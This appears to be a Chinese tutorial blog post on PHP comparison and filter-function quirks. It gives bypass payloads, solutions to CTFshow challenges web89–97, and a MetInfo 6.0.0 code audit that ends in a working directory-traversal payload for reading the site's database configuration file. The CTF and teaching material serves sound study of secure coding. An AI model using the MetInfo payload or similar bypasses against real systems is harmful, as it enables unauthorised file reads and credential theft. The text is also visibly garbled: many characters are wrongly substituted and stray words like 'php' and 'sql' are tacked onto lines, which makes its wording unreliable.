WEB攻防-PHP特性-学以至用

2022年01月14日 阅读数:2
这篇文章主要向大家介绍WEB攻防-PHP特性-学以至用,主要内容包括基础应用、实用技巧、原理机制等方面,希望对大家有所帮助。

PHP

知识点:

一、过滤函数缺陷绕过php

二、学习知识点的做用html

  1. CTF考点web

  2. 代码审计正则表达式

php函数特性知识点讲解

一、=====对比

 ==不会对比类型
 ===会对比类型

==sql

 <?php
 header("Content-Type:text/html;charset=utf-8");
 $flag = '小迪师傅--yyds';
 ​
 $a=1;
 if($a==$_GET['x']){
     echo $flag;
 }

==判断的时候 不会对比数值的类型,如判断是否等于1 在浏览器接收的时候 一、1.0、+一、1**都是能够的数组

payload:浏览器

 ?x=1,select

image-20220111084955538

===安全

 <?php
 header("Content-Type:text/html;charset=utf-8");
 $flag = '小迪师傅--yyds';
 ​
 $a='1';
 if($a===$_GET['y']){
     echo $flag;
 }

===不只会对比变量的数值,并且还会对比数值的类型,因此 “y=一、1.0、+一、1**”都是不可使用了。网络

二、MD5缺陷绕过

==绕过app

PHP中==是判断值是否相等,若两个变量的类型不相等,则会转化为相同类型后再进行比较。PHP在处理哈希字符串的时候,它把每个以0e开头而且后面字符均为纯数字的哈希值都解析为0。

在md5加密后以0E开头

原文 MD5密文
QNKCDZO 0e830400451993494058024219903391
240610708 0e462097431906509019562988736854
s878926199a 0e545993274517709034328855841020
s155964671a 0e342768416822451524974117254469

 <?php
 header("Content-Type:text/html;charset=utf-8");
 $flag = '小迪师傅--yyds';
 ​
 if($_GET['name'] != $_GET['password']){
     if(MD5($_GET['name']) == MD5($_GET['password'])){
         echo $flag;
     }
     echo '?';
 }

payload:

 ?name=QNKCDZO&password=240610708

image-20220111095000570

===的绕过

===会比较类型,这个时候能够用到PHP中md5()函数没法处理数组(会返回NULL)来实现绕过。

 <?php
 header("Content-Type:text/html;charset=utf-8");
 $flag = '小迪师傅--yyds';
 ​
 if($_GET['name'] != $_GET['password']){
     if(MD5($_GET['name']) === MD5($_GET['password'])){
         echo $flag;
     }
     echo '?';
 }

payload:

 /?name[]=1&password[]=2

虽然报错可是能够正常 输出结果

image-20220111095301854

三、intval缺陷绕过

intval() 函数用于获取变量的整数值。

intval() 函数经过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,不然会产生 E_NOTICE 错误并返回 1。

语法

int intval ( mixed $var [, int $base = 10 ] )

参数说明:

  • $var:要转换成 integer 的数量值。

  • $base:转化所使用的进制。

若是 base 是 0,经过检测 var 的格式来决定使用的进制:

  • 若是字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);不然,

  • 若是字符串以 "0" 开始,使用 8 进制(octal);不然,

  • 将使用 10 进制 (decimal)。

返回值:

成功时返回 var 的 integer 值,失败时返回 0。 空的 array 返回 0,非空的 array 返回 1

<?php
header("Content-Type:text/html;charset=utf-8");
$flag = '小迪师傅--yyds';

$i='666';
$ii=$_GET['n'];
if(intval($ii==$i,0)){
    echo $flag;
}

根据上面intval()函数介绍,能够知道base值为0,因此可使用使用其余进制替换666数据进行绕过。

八进制的666-->01232

十六进制-->0x29a

payload:

?n=0x29a

image-20220111102408254

四、strpos()函数缺陷绕过

strpos() 查找 "php" 在字符串中第一次出现的位置:

<?php
	echo strpos("You love php, I love php too!","php");
?>

语法

strpos(string,find,start)

参数 描述
string 必需。规定要搜索的字符串。
find 必需。规定要查找的字符串。
start 可选。规定在何处开始搜索。

返回值

返回字符串在另外一字符串中第一次出现的位置,若是没有找到字符串则返回 FALSE

注释:字符串位置从 0 开始,不是从 1 开始。

<?php
header("Content-Type:text/html;charset=utf-8");
$flag = '小迪师傅--yyds';

$i='123666';
$ii=$_GET['h'];
if(strpos($i,$ii,"0")){
    echo $flag;
}

if(0)没有办法触发函数if,若是%0a666进行换行查找的话,换行也会被带进去查找!

五、in_array第三个参数安全

in_array-检查数组中是否存在某个值

语法

in_array(search,array,type)

  • search 必需。规定要在数组搜索的值。

  • array 必需。规定要搜索的数组。

  • type 可选。若是设置该参数为 true,则检查搜索的数据与数组的值的类型是否相同。

若是不设置第三个参数,那么至关于==不对比数据类型则1.0、+一、1,***都是能够绕过的

<?php
header("Content-Type:text/html;charset=utf-8");
$flag = '小迪师傅--yyds';

$whitelist = [1,2,3];
$page=$_GET['i'];
if (in_array($page, $whitelist)) {
    echo '$flag';
}

payload:

?i=+1.0,sec

image-20220111153302806

六、preg_match正则表达式

修饰符含义

修饰符 意义
/ i 不区分大小写的匹配
/ s 使句点( . )匹配任何字符,包括换行符( )
/ x 从模式中删除空白符和注释
/ m 使 ^ 匹配换行符 ( )以后的内容,美圆符号($)匹配换行符 ( )以前的内容
/ e 若是替换字符串是PHP代码,使用eval()执行该代码来获得实际的替换字符串
/ U 颠倒子模式的贪婪性; * 和 + 尽量少地匹配而不是尽量多。
/ u 把模式字符串看成UTF - 8编码对待
/ X 若是一个反斜杠以后跟着没有特殊意义的字符,将产生一个错误
/ A 把锚定位在字符串的开头就像模式中有 ^ 同样
/ D 使 $字符仅匹配一行的末尾
/ S 使表达式解析器更加当心地检查模式的结构,使得第二次运行时(如在一个循环中)加快速度

下方代码:

不能输入0-9,但还要进入if(intval($num))这个函数

<?php
header("Content-Type:text/html;charset=utf-8");
$flag = '小迪师傅--yyds';

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

绕过思路:preg_match 没法匹配数组

payload

/?num[]=1

image-20220111154650442

七、str_replace没法迭代过滤

把字符串 "Hello world!" 中的字符 "world" 替换成 "Peter":

<?php
	echo str_replace("world","Peter","Hello world!");
?>

语法

str_replace(find,replace,string,count)
参数 描述
find 必需。规定要查找的值。
replace 必需。规定替换 find 中的值的值。
string 必需。规定被搜索的字符串。
count 可选。一个变量,对替换数进行计数。

<?php
header("Content-Type:text/html;charset=utf-8");

$sql=$_GET['s'];
$sql=str_replace('select','',$sql);
echo $sql;

过滤select,可是最终实现输出select的效果

str_replace只能够替换一次,因此可使用双写构造语法进行绕过

payload:

/?s=sselectelect

image-20220111155557550

学以至用

学习了以上知识点后,能够经过刷题巩固本身的学习效果,以及验证本身学习的内容是否有用,主要是CTFSHOW web89-97关和源码的代码审计

                                                👇👇👇👇👇👇👇👇ctfshow👇👇👇👇👇👇👇👇

web89

 <?php

include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
} 

题目分析:

接受变量num,num变量不能够出现0-9,可是还必需要求num是正数。

preg_match不能够处理数组。

payload

?num[]=1

web90

 <?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

题目分析

接受num变量,num不能够等于4476可是有要求进入 if(intval($num,0)===4476)函数拿到flag

根据intval()函数特性,咱们能够进行禁止转换

八进制4476-->10574

十六进制4476-->117c

payload

/?num=010574
/?num=0x117c

web91

<?php

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

题目分析

php开头,php结尾、i不区分大小写、m是多行匹配

第一个preg_match是修饰符是im,第二个是i,因此咱们可使用换行绕过

正则表达式详解:https://www.jb51.net/article/36172.htm

payload

?cmd=%0Aphp

web92

 <?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
} 

题目分析

接受变量num,num值不等于4476绕过第一个if,有要求intval($num,0)==4476,intval是取整,因此能够令num=4476.1也能够进行进制转换构造payload。

payload

/?num=4476.1

web93

 <?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
} 

题目分析

比92题多了一个正则匹配,不能够输入a-z,至关于禁止了十六进制转换构造payload

payload

/?num=4476.1

web94

 <?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
} 

题目分析

在93的基础上过滤了开头为0的数字 这样的话就不能使用进制转换来进行操做 咱们可使用小数点来进行操做。

/?num=4476.0

web95

 <?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
} 

题目分析

多了一个不须要使用点,就至关于上面的小数就不可使用了。由于前面是弱类型比较,能够在前面加入一个下划线来绕过num=_010574,发现没有出现flag可是也没有出现nonono,因此表示前面三个过滤条件都已经绕过了。就是输出flag的函数没有触发,把其余的特殊符号都是一下,最后发现加号和空格能够。

intval在处理加号和空格开发的数字的时候,会做为一个整数处理

payload

/?num=+010574

web96

 <?php

highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }
}

题目分析

不能够直接输入flag.php可是又要求读取flag.php,能够经过加入路径经行读取。

payload

/?u=./flag.php

web97

<?php

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
    if ($_POST['a'] != $_POST['b'])
        if (md5($_POST['a']) === md5($_POST['b']))
            echo $flag;
        else
            print 'Wrong.';
}
?>

题目分析

post接受a和b,可是进入if ($POST['a'] != $POST['b'])有要求md5($POST['a']) === md5($POST['b'])相等,md5不能够处理数组返回值都是NULL

payload:

a[]=1&b[]=2

                                       👇👇👇👇👇👇👇👇代码审计👇👇👇👇👇👇👇👇

MetInfo6.0.0代码审计

根据学习的以上知识点,能够进行简单的代码审计。

搜索关键字str_place

\MetInfo6\app\system\include\module\old_thumb.class.php

image-20220111175420827

从代码中能够看到,$dir直接由$_GET['dir']传递进来,并将.././置空。目标是进入到第一个if里面的readfile($dir);,读取文件。

看看if语句的条件,里面的是将$dir中包含$_M['url']['site']的部分置空,这里能够不用管。外面是一个strstr函数,判断$dirhttp字符串的首次出现位置,也就是说,要进入到这个if语句里面,$dir中包含http字符串便可。

image-20220111180107516

从上面的分析能够构造出payload,只要$dir里包含http字符串就能够进入到readfile函数从而读取任意函数,而后可使用.....///来进行目录跳转,由于.././会被置空,因此最终payload以下:

/include/thumb.php?dir=.....///http/.....//\config\config_db.php

被替换后实际带入其中的结果是:

../http/..\config\config_db.php

image-20220111185646260

总结:

跌跌撞撞的算是把二十天的内容搞定了,其中看了许多资料也收获了不少。一看就会-一座就废,看了≠会了。


免责声明:本人坚定反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络须要咱们共同维护,更推荐你们了解它们背后的原理,更好地进行防御。禁止用于任何非法用途。若有任何人凭此作何非法事情,均于笔者无关,特此声明。